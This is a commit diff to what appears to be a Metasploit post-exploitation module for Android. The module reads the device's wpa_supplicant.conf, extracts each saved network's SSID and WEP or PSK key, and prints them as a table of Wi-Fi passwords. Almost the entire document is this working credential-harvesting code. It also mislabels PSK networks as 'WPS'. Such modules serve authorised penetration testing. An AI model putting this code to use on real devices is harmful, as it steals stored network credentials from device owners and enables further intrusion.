Stylize the output

GSoC/Meterpreter_Web_Console
Auxilus 2018-05-01 22:58:17 +05:30 committed by GitHub
parent bc0cad43bc
commit 29467c2e37
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 48 additions and 9 deletions

View File

@ -8,7 +8,6 @@ class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Android::Priv
include Msf::Post::Android::System
def initialize(info={})
@ -25,19 +24,59 @@ class MetasploitModule < Msf::Post
'Platform' => 'android',
}
))
register_options([
OptString.new('SU_BINARY', [true, 'The su binary to execute root commands', 'su'])
])
end
def run
unless file?("/system/xbin/#{datastore['SU_BINARY']}")
print_error("No su binary found")
return
data = read_file("/data/misc/wifi/wpa_supplicant.conf")
parsed = data.split("network=")
aps ||= []
parsed.each do |block|
next if block.split("ssid")[1].nil?
ssid = block.split("ssid")[1].split("=")[1].split("\n").first.gsub(/"/, '')
if search_token(block, "wep_key0")
net_type = "WEP"
elsif search_token(block, "psk")
net_type = "WPS"
else
net_type = "OPEN"
end
case net_type
when "WEP"
pwd = get_password(block, "wep_key0")
when "WPS"
pwd = get_password(block, "psk")
else
pwd = ''
end
aps << [ssid, net_type, pwd]
end
data = su_exec("cat /data/misc/wifi/wpa_supplicant.conf", datastore['SU_BINARY'])
print_line(data)
ap_tbl = Rex::Text::Table.new(
'Header' => 'Wireless APs',
'Indent' => 1,
'Columns' => ['SSID','net_type', 'password']
)
aps.each do |ap|
ap_tbl << [
ap[0],
ap[1],
ap[2]
]
end
print_line(ap_tbl.to_s)
end
def search_token(block, token)
if block.to_s.include?(token)
return true
else
return false
end
end
def get_password(block, token)
return block.split(token)[1].split("=")[1].split("\n").first.gsub(/"/, '')
end
end